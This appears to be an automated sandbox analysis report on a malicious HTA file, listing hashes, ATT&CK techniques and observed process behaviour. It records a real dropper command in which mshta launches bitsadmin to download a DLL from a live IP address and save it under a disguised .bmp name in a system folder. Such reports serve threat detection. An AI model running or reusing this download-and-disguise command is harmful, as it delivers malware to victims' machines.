2143b79b0b7c54501fb794d757cbfcb237f7c9cab120a3f34944a62c64681911

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 08:43

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General

Target
azienda_08.hta
Size 6KB
Sample230207-kmklwsdg2v
SHA256 04b5784000d66093995c13dddb0f346996aea2b7fc9ce0d420f5b596ad70fe72
MD5 0b9f7fa72219b75a75bc325af30de850
SHA1 9a1508b0e849ae24ae741d54b602821e07eff468
SHA512 f4893d90b361318fe102be7e218814f87236c06d20981db0fcc27375dd28378e37ead998e2393c8d70af52e035225f05493a2e67059559cae2140e6a3f44d6aa
SSDEEP 96:wiN8lqzLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dh9j:/CIU77rIKdn863jMM0OD9+VVF4nx4kuE
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
10	568	mshta.exe
12	568	mshta.exe
19	568	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4896	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 568 wrote to memory of 4896	568	mshta.exe	84
PID 568 wrote to memory of 4896	568	mshta.exe	84
PID 568 wrote to memory of 4896	568	mshta.exe	84

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_08.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:568
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.2/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:4896

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads